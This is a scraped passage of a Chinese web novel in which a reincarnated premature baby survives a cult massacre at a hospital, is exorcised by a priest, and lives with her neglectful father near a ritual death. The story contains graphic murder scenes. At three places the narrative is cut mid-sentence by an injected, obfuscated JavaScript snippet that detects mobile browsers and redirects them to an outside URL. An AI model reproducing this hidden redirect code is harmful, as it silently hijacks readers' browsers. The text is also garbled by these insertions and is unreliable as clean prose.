《惊悚片生存守则》 1. 雨夜 “嘭嘭,嘭嘭嘭!” 一阵猛烈的撞门声,将埃弗莉从香甜的睡梦中惊醒。 她迷茫地睁开眼,透过透明的保温箱,望着雪白一片的天花板,迟钝的大脑慢了半拍,才缓缓飘过一个问题:为什么会有人在新生儿病房撞门? 没错,新生儿病房。 埃弗莉——或许在前世她还有其他名字,但当她再度苏醒,诞生在这个世界时,前尘往事已经遗忘了大半,她索性便用周围人唤她的方式称呼自己了——是个早产儿,她诞生于一次惨烈的交通事故,她的母亲、一个顽强坚韧的年轻女人躺在残破的车辆残骸中,挣扎着生下了她,自己却没能坚持到救援人员的到来,就失去了生命。 以上这些信息,是她从照料自己的医护人员偶尔的闲谈中了解到的。 因为早于预产期一个多月降生,埃弗莉身体孱弱,从有记忆起,就一直在新生儿保温箱里躺着。 除了新生儿父母的探视时间,绝大多数时候这里都很安静。就算有婴儿哭泣,声音也低低的,轻得像蚊子哼哼。毕竟,会在这里躺着的孩子,大部分都有各种各样的身体问题。 而现在,新生儿病房持续了很久的宁静,被急促暴躁的撞门声打破了。 “开门!开门!该死,那两个小贱人将门反锁了!” “嘿,别急弗兰克。你忘了吗,现在整所医院都口口口,她们逃不出去的……” “没错,一想到口口即将口口口,我就兴奋到口口……我主必将口口口,将恐惧口口,哈哈哈哈……” 门外的撞击声停顿了片刻,隔着一扇隔音较好的门板,传来几人闷闷的对话,中间间杂着充满恶意的怪笑和令人不适的辱骂词。 这里的人说话用的是英文。它并非埃弗莉前世的常用语,因此,虽然保留了些许过往的记忆,埃弗莉却并不能完全理解外面的人说了什么。她只是从他们的对话中察觉到了异样,并因此感到了强烈的不安。 身为新生儿,埃弗莉能做的很有限。她仰躺在保温箱里,努力调动颈部还未发育完全的肌肉群,一点点、一点点艰难地挪动着,让自己脑袋稍微偏转一些弧度,看向病房门口。 新生儿的视力很差,隔着一段距离,她看到两团模糊的白色人影正背抵房门,粗声喘息着,胳膊和腿抖个不停。 其中的一个人影哆嗦着手,捧着掌心里类似手机的东西一阵疾点,声音中带着绝望:“不行,打不通,这里的信号被屏蔽了!” 通过这个颤抖的嗓音,埃弗莉成功将这团人影和经常进病房巡查的某个温柔护士联系了起来。 “怎么办……死了、都死了,大家都死了……那群口口口简直是疯子!怎么办,南希,帮帮我,我不想死……”说话的是护士身旁的另一个人影。她双手抱头,腰背弓起,像个被逼到了绝境的食草动物,不断从喉咙里发出歇斯底里的尖叫。 埃弗莉认出那是护士站的另一个护士,她不负责新生儿病房,但偶尔会来这里找南希护士聊八卦,和南希关系不错,还曾隔着保温箱向埃弗莉做过鬼脸。 “嘭!嘭嘭!” 就在两名护士陷入恐慌的时候,撞门声又一次响起。这一回的力量更加沉重,连带着两护士抵靠在门上的身体都随着撞击前后晃动了起来。 “不,不要!我不想死!” 隔壁病房的护士最先崩溃。抛下了还在试图打电话求援的南希,这团白色的影子惊声尖叫着,跌跌撞撞从埃弗莉的保温箱边跑过。埃弗莉脖子不够灵活,看不到身后的场景,她竖起耳朵,听到脚步声一路向后,最后停留在窗边,哗啦推开了玻璃窗。 “不,你疯了,这里是8楼!” 留在原地的南希护士惊慌地伸出手。可惜她什么也没来得及抓住。隔了几秒,在两声撞门的间隙里,埃弗莉听到了后方传来隐约的重物落地声。 “扑哧”,像熟透的西瓜落地炸开,一条生命的逝去如此简单而随意。埃弗莉张大嘴巴,胸腔中纤弱的心脏重重跳了一下。 怎么回事,到底发生了什么,让她们这么害怕……有歹徒闯入了医院吗? 幼小的大脑限制了埃弗莉的思考能力。不等她理清事情的来龙去脉,只听“轰”一声巨响,病房的金属房门在持续不断的撞击下,终于不堪重负,向内倒塌。 “啊!”门口的南希护士尖叫一声,躲闪不及,向前扑倒在地上。 “呜哇呜哇……”病房里其他保温箱中的婴儿被这声巨响惊动,发出了此起彼伏的幼弱哭泣。在一片吵闹中,四个身披黑色斗篷的人影从洞开的门口鱼贯进入。 为首的人又高又壮,身形庞大好似一头黑熊。他手中拎着把寒光闪闪的匕首,目光在房间里四下张望了一阵,飞快锁定地上的南希。 “哈哈,臭*子,继续跑啊,再跑还不是要落到我们手里……”他狞笑着弯下腰,朝南希伸出手。 “啊!”危难时刻,护士纤细的身躯中爆发出前所未有的力量。她大叫了一声,左腿在黑斗篷身上一蹬,借力推开黑斗篷,爬起身便朝房间里面跑。 “FU*K!臭*子!贱人!”黑斗篷被踢了一个踉跄,他凶狠地辱骂了一句,举起匕首,紧随其后,朝南希追了过来。 埃弗莉睁大眼看着这一幕,在心中不断为南希祈祷——快点,再快一点,快跑……但很可惜,在跑到埃弗莉附近时,护士脚下一绊,再一次摔倒了。 这回,幸运女神没有眷顾她,埃弗莉看到黑斗篷追了上来,单手薅住南希的头发,将体型娇小的护士一把摁倒在保温箱上。非常凑巧,这正是埃弗莉所在的保温箱。 “啪!”,重物压在保温箱上发出难听的闷响。护士的身躯遮挡了上方的灯光,隔着一层透明的塑料箱体,埃弗莉近距离对上了南希满是恐惧与绝望的眼睛。这也是今晚埃弗莉第一次看清什么东西——她看到晶莹的泪水从护士圆睁的眼睛中滚落,看到女护士颤抖的嘴唇,张张合合,无声念叨着什么,看到黑袍人扬手,锋利的匕首捅刺入护士的咽喉,看到……看到一个扭曲如蛇的古怪图腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566108|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在黑袍人抽手拔刀时,从他袖角一晃而过。 那抹图腾,烙印一样深深刻在了她的视网膜。 紧跟着,铺天盖地的暗色从护士的颈部喷涌而出,厚厚一层糊住保温箱,遮蔽了埃弗莉的视野。新生儿的视觉细胞还未发育完全,无法识别色彩,尽管视野一片黑白,埃弗莉却清楚地知道,那是血。 温热的,粘稠的,腥臭的,代表了活力与生命的血…… 强烈的呕吐欲望袭来,埃弗莉不敢再看,恐惧地闭上了眼。 血泊中的南希护士很快不再动弹。而那群突然闯入的黑斗篷,在残忍杀死了一名护士后,依旧逗留在新生儿监护病房里。他们好似在寻找什么,几个人四散分开,在每一只保温箱前驻足翻找,流连不止。 “6月出生,6月,6月……”其中一个斗篷人距离埃弗莉不远,隔着保温箱,埃弗莉听到对方嘴里不停嘀咕。 她起初还不明白“6月”是什么意思,直到那名黑斗篷绕了一圈,来到她的保温箱前。 一阵窸窸窣窣的声音响起,挂在保温箱前的病历卡被翻动,当看到埃弗莉的出生信息时,黑袍人惊喜地叫道:“哦,找到了,6月出生的女婴……” 埃弗莉刚觉得不妙,下一秒,又听黑袍人甩手丢开病历卡,口中发出一连串的咒骂:“该死,这个保温箱上全是血!弗兰克,你这头野蛮的口口口,脑袋只有弹丸大的口口!早跟你说过别把场面搞得那么血腥,我讨厌弄脏我的袍子!” “但我杀她时你也很兴奋不是吗!”叫弗兰克的黑斗篷粗声反驳。 “胡说,我只是因主人即将得到鲜血与口口而满足……” “别装了,你就是个口口口!” 眼看两人就要吵起来,第三个黑袍人赶忙开口劝说:“嘿,你们俩别这么激动,任务要紧。符合要求的婴儿又不止一个,艾利你瞧,我这里就找到一个……” 名为“艾利”的黑袍人闻言,翻动保温箱的动作一顿。 他思考了一下,嫌弃地甩手离开鲜血淋漓的保温箱。“哒哒”的脚步声随后响起,一步步远离埃弗莉所在的病床,不远处,保温箱打开,婴儿的哭泣声阵阵响了起来。 四名黑袍人随后又在新生儿病房里逗留了一阵。他们不知有什么目的,按照出生月份和性别,先后从啼哭不止的婴儿中挑出三人,用样式古怪的黑色布料将他们裹住。说来奇怪,原本还在哭泣的婴儿,在裹入黑布后,竟瞬间收住了哭声,再也没发出任何动静。 十余分钟后,像怀抱某种死物一样,三个黑袍人一人抱着一个包裹,步履匆匆,跟在最为强壮残忍的黑熊弗兰克身后,离开了一片狼藉的新生儿室。 “轰隆!” 窗外不知何时下起了大雨。雷电的轰响中,屋内的白炽灯“噼啪”闪烁了一阵,倏地熄灭。 黑暗笼罩了整个新生儿室,一室死寂中,埃弗莉与护士僵死的尸体面对面而躺,不知坚持了多久,才在越发浓重的眩晕中,昏睡了过去。 …… 2. 驱魔 “……我真是难以置信,发生了那么可怕的事情,当埃弗莉发起高烧,最需要你的时候,你却TMD拿着蕾切尔的保险金在口口口喝你那该死的酒!” “我能怎么办!都是因为那个孩子,蕾切尔离开了我!我只要看到她,就会想起我心爱的蕾切尔,如果不是因为口口,她根本不会独自坐车出门!” “你闭嘴!” 埃弗莉是被一阵激烈的争吵声吵醒的。 身体很难受,头很晕,喉咙也干干的,像被放在碳炉子上烘烤,每一下呼吸,都带来灼热的烫意。 埃弗莉知道自己这是发烧了。受惊过度,再加上早产儿身体本来就孱弱,经历过噩梦般的那一晚后,她就陷入了持续不断的高烧,最严重的时候甚至进了ICU。 期间,她陆续苏醒过几次,但因为高热,意识始终不太清晰,只依稀知道,那一个风雨交加的夜晚,她在黑夜里颤抖恐惧了很久,直到天边显露晨光时,刺耳的警笛声才终于撕裂无边的黑夜,无能的警察姗姗来迟。 现场被封锁,一具具尸体被清理出医院,包括埃弗莉在内,仅有的十余名幸存者被警方接走,带到了邻镇的另一所医院暂时安置。 混乱持续了很久。等埃弗莉再一次睁眼的时候,她已经躺在了另一间陌生的病房里,小小的手背挂着点滴,肚皮上还贴着监测生命体征的电极片。 在医护人员无微不至的照料下,埃弗莉脱离生命危险,缓慢地恢复。但南希临死时双眼圆睁,怨恨不甘的样子,像一个挥之不去的梦魇,在半梦半醒间无数次浮现在埃弗莉脑中——那个人立在阴影里,无声紧盯着埃弗莉,像埋怨,像质问,像来自地狱的无声邀请,让女婴的高烧来来去去,始终无法彻底消退。 埃弗莉痛苦地呼吸着,眼珠在干涩的眼眶里滚动,望向病床边。站在那里争吵的是两个男人,一个三十岁不到,高高瘦瘦,中长的金色(也可能是白色,埃弗莉还无法很好分辨两种颜色)卷发在脑后扎了一个辫子,眼下带着疲惫的青黑,整个人透出一股落拓的艺术家气息,正是这具身体的父亲,名叫谢利。 与他争吵的是个满头白发的老头,五、六十岁的样子,个子高壮,体格魁梧,说起话来声如洪钟,中气十足。埃弗莉之前并没见过这人,但不知为何,看到对方紧皱的眉头、绷起的嘴角,她竟打心底生出了一种难以描述的亲近感。 也许是这具身体的亲人吧…… 她哼唧了一声,难受地抻了抻胳膊。明明响动细微到近乎没有,却顷刻惊动了陷入暴怒的老人。看到埃弗莉醒了,他收起即将出口的辱骂,丢下谢利三两步走到床前,蹲身凑到埃弗莉面前,关切地察看她的脸色。 “可怜的埃弗莉,一定很痛苦吧……我已经打过电话了,等口口口来为你口口后,一定会好的。”他全程绷着脸,表情僵硬,似乎不知道怎样微笑,出口的声音却很温柔。 谢利闻言当即反对:“我不同意!什么口口口都是骗人的!收起你那老旧的一套吧,现在这个时代人们只相信科学。埃弗莉只是身体太弱,再治疗一段时间就会痊愈,根本不需要请什么口口口!” 涉及的生僻词太多,埃弗莉听不太懂他们在争论什么。身体上的不适也让她提不起劲深究。不过,到了晚上,她还是知道了老人口中的“口口口”究竟是什么。 “呜啊……”她躺在病床上,眨巴着眼,好奇地看着面前一身漆黑的小老头。那是影视剧里经常看到的牧师袍,和医院那晚黑袍人身上的衣服完全不一样,干净利落的剪裁,庄严稳重的版型,透着一股肃穆与沉稳。 所以老人是觉得她撞邪了,想给她请牧师——也可能是神父,埃弗莉分不清这两者——看一看? 埃弗莉觉得有点奇妙。 她仔细打量着身穿牧师袍的小老头。他个子不高,目测只有一米七出头,头上的头发荒草地一样稀疏,乍一看有些滑稽,但他作法时的表情很严肃。 小老头单手握着圣经,另一手举着小小水瓶,半合着眼,嘴里嘀嘀咕咕,念念有词,拿水瓶的手悬于空中,在埃弗莉上方有规律地划着十字,每一次划动,都向下洒落几滴晶莹的水液。 陷落在噩梦中的埃弗莉就是被落在额头的水珠点醒的。 冰冰凉凉,并不讨厌。 “……In the beginning was the Word, and the Word was with God, and the Word was God……”(注①) 埃弗莉躺在病床上,倾听着对方念诵的经文。起初,她还会因各种事情走神,不知不觉间,女婴的双眼像被某种神秘的力量吸引,开始跟随牧师的手,在空中一起勾勒十字。 老人的动作很慢,每一次划动,都暗合了经文的节拍,透出一种难以描述的圣洁与神圣,他那低垂的眉眼,既有母亲的慈爱,又有父亲的严厉,灯光下仿佛自带了某种神性。自他指尖洒落的一滴滴圣水,像阵阵清风,驱散了笼罩意识深处的迷雾,又好似一场大雨,浇灭了体内无休止燃烧的烈焰。 不知道过了多久,老人合拢书页,发出“啪嗒”一声轻响。 这一声响如某个信号,将埃弗莉从玄之又玄的境界中唤回。她深深呼吸,感觉胸口盘桓了许久的压抑感不知何时消失了,沉重的身体是前所未有的轻盈。 就好像……就好像某种附着在身上的赘物被清除了一样。 “好了,孩子,跟随你的口口口已经离开了,睡吧……”老人伸出手,盖上埃弗莉的眼睛。他的掌心很温暖,带着阳光的味道,让埃弗莉感到非常安心。 明明醒来没多久,埃弗莉却觉得身体异常疲惫。强烈的困意汹涌而来,她顺从本能合上眼睛,没多久就陷入了一片沉静安稳的甜梦。 困扰了埃弗莉十几日的高烧,就这样以有些不太科学的方式被驱散了。 次日,埃弗莉苏醒的时候,只觉神清气爽,肚子也久违地感到了饥饿。 父亲谢利不在,估计又出去喝酒了,守在她床边靠着墙打盹的,是昨天见过的那名魁梧老人。 老人睡得并不安稳,埃弗莉只是小声哼唧了一下,老人立刻从睡梦中惊醒,凑过来摸摸她的额头,又找来杯子和奶粉,给埃弗莉冲奶。 大概是经常皱眉的缘故,他的眉心有一道深深的折痕,紧抿的嘴角即使是在喂奶时,也没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566109|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯起半分,看上去非常凶。但埃弗莉对他的观感还不错,因为这个老人会用温水而不是凉水冲奶粉,喂完奶之后,还会动作熟练地把她抱起来,拍一拍奶嗝,和她那个整天见不到人的渣爹完全不一样。 约翰照料埃弗莉相当尽心。经历过昨晚的“驱魔”后,埃弗莉身体好了很多,清醒的时间也变长了。闲来无事,她就一边玩手手,一边竖起耳朵听老约翰和周围人的谈话。 虽然她的英文水平依旧捉急,听得多了,埃弗莉逐渐了解到,这个叫约翰的老人原来是她的外祖父。十余年前,她的母亲蕾切尔因为某些原因和外祖父决裂,孤身一人离家出走去“追寻自己的梦想”,自那以后就和外祖父断了联系,连结婚都没通知过对方。时隔十余年,等约翰再次听到女儿的消息时,两人早已天人永隔。 真是个悲伤的故事。 大概是从蕾切尔那里听说了一些抱怨,谢利对约翰非常敌视,两人一旦在病床前相遇,往往说不了几句就会争吵起来。约翰提出要把埃弗莉接走抚养,遭到了谢利的严词拒绝,为了让老约翰打消这样的念头,谢利甚至破天荒在医院守了埃弗莉好几天,装模作样扮演一个“迷途知返的好父亲”。 后来,估计是看出谢利不欢迎自己,不可能把埃弗莉交给他,老约翰留下一笔钱,又将一枚造型古朴的十字架项链珍而重之地挂在了埃弗莉脖子上,便于某个清晨独自一人离开了。 老约翰一走,谢利立刻撕下了伪装。 埃弗莉这时已经捱过了早产儿前期最孱弱的时候,身上的病症也痊愈了。咨询过医生后,谢利当天下午就欢天喜地将埃弗莉接出医院,带回了他位于邻市旧城区的房子。 自然,这份喜悦并非出于他的拳拳爱女心,仅仅只是因为医院的住院费太高,舍不得钱罢了。因此,将埃弗莉接回家后,谢利非常自然地将她烫手山芋一样甩到了一边。 他没什么钱,这点从家里各种廉价的家居摆设也能看出。虽说埃弗莉的母亲蕾切尔车祸逝世后,肇事司机和保险公司都赔了一些钱,但早产儿埃弗莉也是个金贵的药罐子,绝大多数保险金都在医院花光了。为了节约生活成本,谢利没舍得请保姆,埃弗莉相关的一应事务,包括喂奶、换尿布等,都是他全权负责的。 但他愿意做的也就仅仅这些了,其余的事,包括帮埃弗莉翻身、哄孩子睡觉、教孩子说话等等谢利是一件也不沾手,就连洗澡也要等埃弗莉身上臭到一定程度,他才会满脸嫌恶地带她去浴室,拎猫一样把她拎到淋浴喷头下胡乱冲一冲水。 除开这些少得可怜的照料,其余时候,谢利不是抱着酒瓶对着亡妻蕾切尔的相片睹物思人,借酒浇愁,就是泡在画室里举着笔在画布上乱抹,搞一些不知所谓的艺术。对于亲女儿埃弗莉,谢利基本眼不见为净。 幸好埃弗莉芯子里是个成年人,有一定的自我管理能力,饿了会哭尿了会叫,还会特别注意不靠近床沿,避免在床边做任何危险的动作。否则,就冲谢利这个疏忽的样子,说不定哪天小婴儿就因为四处乱爬摔到床下,一命呜呼了。 总而言之,一句话,在渣爹的“悉心”照料下,出院后的埃弗莉小宝宝生活在水深火热中。 3. 恶臭 [……滋滋……欢迎收听每日新闻快讯……昨日,一名口口在押送过程中口口……桑利亚州警方联合塔依州警方展开了口口口,目前仍未搜寻到口口下落,两地警方提醒居民注意安全,一旦发现可疑人员请尽快通知警方……] [……明恩华州发生灭门惨案,受害者是居住在口口口的霍恩特一家……警方透露,作案手法与3年前何登州的口口案高度相似,怀疑是杀手连环作案,但也不排除模仿犯罪的可能……] [……昨晚22:04分,天空出现罕见天文奇观口口口,吸引了众多口口竞相观看。天文学家称,“口口口”指太阳、地球与口口连成一线,是四十五年才发生一次的罕见现象……] [……滋……以上便是今日的新闻快讯,感谢您的收听,我们明天再见!] 餐桌边,谢利就着凉水,囫囵吃完了手中最后一片干硬面包。 不远处的沙发上,埃弗莉怀抱奶瓶,就着老式收音机杂音不断的早间新闻,也吨吨吨干掉了奶瓶里最后一滴奶。 瓶子的容量太大,冷水冲泡的奶水像石头一样沉甸甸坠在肚子里,一杯喝完,她撑得直打饱嗝,难受到想吐。 但埃弗莉忍住了。 她每天只有早晚两顿能喝到奶,其余时间,再怎么哭叫谢利也不会喂她。不把早上这些奶喝完,到了下午,她就会感到难以忍受的饥饿。若是不小心呕吐出来,那就更糟了,谢利不会替她清理,吐在身上、衣服上的奶水将随着时间的流逝一点点变干变硬,最后糊在她嘴边、脖子缝、衣服前襟,变成飘散着浓郁奶臭味的块状物。 那种销魂的气味……呕! 埃弗莉不想变成臭婴儿,就只能多勉强自己一些。实在觉得难捱的时候,她会听广播分散注意。 谢利有听广播下饭的习惯,埃弗莉在旁边蹭着,陆陆续续听到了不少新闻。她发现这个世界很不太平,每日新闻十条有九条都是在播报一些血腥暴力的负面消息,什么无差别杀人啊、恐怖分子越狱啊、邪恶教团集体献祭啊……就这么看,其实不止埃弗莉,全米国人也都生活在水深火热中嘛! “乌拉乌拉……” 正想着呢,刺耳的警笛声由远及近,划破了清晨的宁静。 谢利租住的破公寓位于旧城区。这里设施老旧,环境脏乱差,是城市里的贫民窟,聚集了大量负担不起高生活成本的穷苦人。人口密度一高,犯罪率就会居高不下,一三五黑邦火并,二四六当街抢劫,偶尔再来个连环杀人,警车基本每天都要“乌拉”叫着光顾此地一两次,旧城区人都已经见怪不怪了。 不过,今天的情况有些特殊,因为鸣响的警笛声在城区狭窄的道路上左弯右绕,最后停在了谢利租住的破公寓楼下。 谢利是典型的艺术家做派,两耳不闻窗外事,警笛声这么近,楼底下嘈杂不断,他竟也没生出半分探究的心思,吃过早饭就拐进画室,继续搞起了他那无人欣赏的抽象艺术。 埃弗莉倒是很好奇发生了什么,为什么下面那么吵。可她只是个身体孱弱的小婴儿,四肢无力,头重脚轻,前几天才刚学会翻身,翻山越岭爬到窗台观察楼下什么的,对她来说还太过超前了。 于是她只好孤独地躺在大床上,一边伸出手指去够自己的脚趾头,一边竖起耳朵尝试捕捉底下飘来的只言片语。 有点可惜,谢利住在四楼,离楼下距离有些远,她的英文又不够好,很多俚语和方言都听不懂,听了半天,埃弗莉只知道五月花公寓死人了,一男一女,是304的住户,发现的时候都发臭了。 304…… 埃弗莉捏住脚趾的手不小心一松,整个人一下子摊平在床榻上。 什、什么呀! 五月花公寓就是她目前所住的这间公寓,304的话,正好在她和谢利这间屋的正下方……所以说,在她和谢利一无所觉地吃饭睡觉时,隔着薄薄一层楼板,有两具死尸一直在无人看到的地方腐烂发臭? 咋一想有点膈应。不过现代社会嘛,大家都住在鸽子笼一样的楼房里,人口一多,哪幢居民楼没死过人啊。只要不是死在同一个房间,那都不算事儿…… 想到这,埃弗莉抽抽鼻子,眉头不自觉皱起。 也不知道是不是错觉,从听说下面死了人以后,她鼻端便飘来一股若有似无的臭气,味道很淡,但已足够令小婴儿反感。 难道是楼下的气味腾上来了? 埃弗莉看看窗户。担心她生病看医生花钱,从入秋以后,谢利就关上了家里的玻璃窗,要说楼下的臭气隔着窗户飘进来,属实有点想太多…… “笃笃”,正在胡思乱想,门口传来一阵敲门声。 “谁呀,电费不是上礼拜才交过吗,烦死了……”敲门声接连不断,终于把谢利从画室里炸了出来。他趿拉着拖鞋,嘴里一阵骂骂咧咧,火气旺盛地走到门前,一把拧开了房门。 “警、警察?!”下一秒,客厅门口响起谢利讶异的低呼。 “您好,迪昂市警察。关于楼下304的死亡案件,有一些事情想跟您了解一下,请问您方便吗?”一个声音问。 “是、是的,您请进……” 卧室与客厅间的房门没关,埃弗莉躺在床上,有一句没一句听着客厅里谢利和警察的问答。 “谢利先生对吗?您这间房里一共住了几人?” “只有我,还有我4个月大的女儿埃弗莉。” “您认识304的夫妻吗?” “认识,但不熟,仅仅是知道有那么号人。” “您最近一次看到他们是什么时候呢?” “我想想……应该是好几个月前了。那之后我因为妻子车祸早产,一直在医院和公寓之间两地奔走,没有再遇到过他们。” “好的。下一个问题,您最后一次看到这对夫妻时,是否察觉什么异常?” “没有吧,不过……”谢利想了想,难得有些吞吞吐吐。 “不过?” “额……这样说逝者也许不太好,但我得说,我对这两人印象一直有些糟糕。因为他们不太爱干净,每次在路上遇到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566110|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦肩而过时,我总会闻到一股奇怪的臭味,那味道很难形容,就像……嗯、就像夏天在停了电的冰箱里放了三天的鱼肉,简直令人作呕!” “臭味吗……好的,了解了,谢利先生,感谢您的配合。稍后如果有需要,我们可能还会与您联系……”客厅里传来窸窸窣窣的响动,听声音,应该是上门调查的警察准备收拾东西走人了。 “那个……我可以问问吗?”谢利叫住对方。 “怎么了?” “不知道您是否方便透露一下楼下那两人的具体死因……您看,这里就我和女儿两个人居住,如果有什么可怕的杀人魔在附近游荡,我很担心我们的安全。”可能是为了增强说服力,谢利说罢,三两步走进卧室,把正在竖起耳朵吃瓜的埃弗莉小婴儿抱到了警察跟前展示。 “这个……”警察看了眼男人怀中的小婴儿,刚毅的脸上浮现一抹犹豫。 “呜啊……”谢利藏在下方的手捏了把埃弗莉的屁股,埃弗莉鼓着脸颊,不甘地发出无人能懂的骂骂咧咧。许是人类幼崽的萌言萌语柔化了警察的内心,他叹了口气,终于松口:“好吧,这件事其实也不是什么秘密。毕竟我们到达时现场已经聚集了不少人,一些细节估计很多人都听说了……” 说着,警察压低声音,将楼下的大致情况分享给了谢利。 说起来离奇,楼下死去的夫妻,被发现时尸体已经高度腐败,以五月花公寓这种木质构造,按理说臭气早就应该飘散得满走廊都是了。然而,直到房东上门收租,因寻不到人破门而入,那股子气味才随着尸体的发现彻底爆发。在此之前,竟没有一个人察觉到异样。 “……现场没有打斗痕迹,致命伤是腹部的刀伤,刀痕自下而上,由深至浅,伤口内填塞了某些仪式物品,尸体周围的地面还布置了祭坛,综合上述种种,法医和痕检初步判断是在进行某种自我献祭仪式途中出了意外。” 谢利的脸皱成一团:“自我献祭仪式吗?这、这……真是一群疯子……” “嘘——因为您情况特殊,我才特别将一些案情透露给您的,希望您不要在外面乱说。” “是的,当然。我会管住嘴,不会乱说的,谢谢您,谢谢您。” 看警察不欲再说,站起身想走,谢利赶紧将怀中的埃弗莉放到沙发上,跟在警察的身后,将他送到了门前。为表示感谢,他还态度浮夸地与对方握了好几次手。 等房门关闭,谢利迅速转过身,眼神发直,手捂嘴巴,一边来回走动,嘴里一边念念有词:“邪/教献祭吗,非常好的作画题材,如果能到现场看看就……唔额、好臭!这警察的手摸了尸体没有洗吗,怎么这么臭!” 上一秒还沉浸在猎奇案件带来的艺术灵感中,下一秒,谢利干呕一声,转身跑到厨房水池边,打开水疯狂冲洗手心。 洗手池的水哗啦啦流个不停,冲洗过后,谢利按了一泵洗手液,对着水流又仔细搓了把手掌心。搓完把手放到鼻子前一嗅——“唔呕!” 他低下头,又开始疯狂搓洗自己的手。 4. 恶臭 谢利足足洗了三次手,才总算闻不到什么气味。 他骂骂咧咧回了画室,把卖惨用的道具人埃弗莉遗忘在了沙发上。 不知道是不是刚才渣爹皱眉嗅闻的表情太过传神,埃弗莉在客厅躺着抠脚,抠着抠着,鼻端好似也闻到了谢利所形容的那股“大夏天鱼肉在断了电的冰箱里放了三天”的臭味。 什么啊,是楼下的气味终于顺着楼道飘上来了吗? 客厅靠着入户门,相比靠窗的内侧卧室,它有更大几率受到公寓内飘散的气味影响。埃弗莉抽着鼻子,四处嗅了嗅,发现这气味一阵一阵的,有时候什么也闻不到,有时候又确实能闻到点,恶臭恶臭的,让她差点没把奶给吐出来。 这就是传说中的尸臭吗……真恶心,希望警方赶紧勘察完现场,好让房东找清洁员把房子打扫干净。不然,就算现在天气不热,臭气老这么飘着也不是个事儿呀! 和埃弗莉持类似想法的住户不少。尤其是这天下午,气温反常地飙升到了29度——对这个城市而言,这已经是少见的高温了。高悬的太阳热烘烘照射着整幢大楼,熏蒸出了藏在木结构缝隙中的气味因子,随着气温的节节攀升,从304飘出的臭气也越发强烈,几乎堪比生化武器。 这一天,凡是住在五月花公寓的住户,无论一楼还是六楼,全都被熏得不行。 到了傍晚时分,经过白天的层层加码,气味终于突破人类忍耐的临界,浓烈到了无法忍受的地步。公寓里面,蜗居的不蜗居了,自闭的不自闭了,就连搞艺术的都受不了,丢下画笔拿床单裹着小宝宝埃弗莉,逃也似的跑下了楼。 整幢楼一时间像被灌了开水的蚂蚁窝,全是一窝蜂往外奔逃的住户。 说来也怪,明明房子里臭不可闻,一旦走出公寓门,气味立刻就闻不到了。于是,五月花公寓门外出现了奇异的一幕:大量手拎简易包裹的住户戴着口罩、捂着口鼻奔逃而出,又在跑出大门后抽抽鼻子,满脸疑惑地停下脚步。随后,绝大多数人因为无处可去,或是舍不得住旅馆的花销,四下望望,见门外的空地还算干净,干脆拆了行李,随便找点东西往地上一垫,就这样歇了下来。 谢利是画家,为人一向比较清高。看到其他人就地歇息,摆出了要在外面打地铺的架势,他犹豫了一下,最后还是虚荣好面的一面占了上风,没有选择和那些住户挤,而是抱着埃弗莉去了附近一家小旅馆,凑合凑合过了一晚上。 小旅馆环境很不好,狭窄逼仄的房间不见天日,常年弥漫着一股霉味,隔音还很差,一到晚上就有各种暧昧的声音从上下左右四面八方穿墙而来。谢利以前虽然落魄,但也没住过这么差的环境,加上白天被楼下死人的事情吓到了,为了发泄和壮胆,晚上睡前便多喝了些酒,把自己灌醉了。 结果他这一醉,竟直接睡过头,把次日上午退房的时间给睡了过去。旅店的老板巴不得客人多睡几天,好多赚一些住店费,所以压根没有来喊过谢利。最后,还是埃弗莉饿得实在受不了,一边哼唧一边拿小腿使劲蹬谢利的脸,才终于把这个呼噜连天的醉汉给蹬醒。 “几点了……什么、都这个时间了,该死!” 谢利迷迷糊糊睁开眼,一看时间,立刻从床上“噌”一下坐起了身。 他胡乱穿上衣服,左手拎皮箱,右手抱埃弗莉,火急火燎冲到柜台,找老板退房。 “确定要退吗?那你还需要补一天的房钱。”旅馆胖老板老神在在问。 “可我只超时一个半小时!” “那也是超了……谢利先生,您难道要赖账吗?”柜台后,肥壮的老板懒洋洋吸了口烟,摆在柜台下的右手随意一抬,露出满是青色文身的手背,和漆黑油亮的半截枪托。 穷画家谢利一秒变脸。 “那我……那我再住一晚,明早来退房吧。”他唯唯诺诺说。 “没问题,祝您住得愉快~”胖老板收回枪,朝谢利摆摆手。注意到埃弗莉的眼睛一直在看他,还心情甚好地朝小婴儿做了个鬼脸。 “咯咯……”埃弗莉此时还饿着肚子。看到胖老板让害自己错过早饭的罪魁祸首吃了瘪,她非常高兴,扯起嘴角,没心没肺地朝胖老板露出一个无齿的笑。 既然已经超时,为了回本,谢利便打算在旅店再住一天。 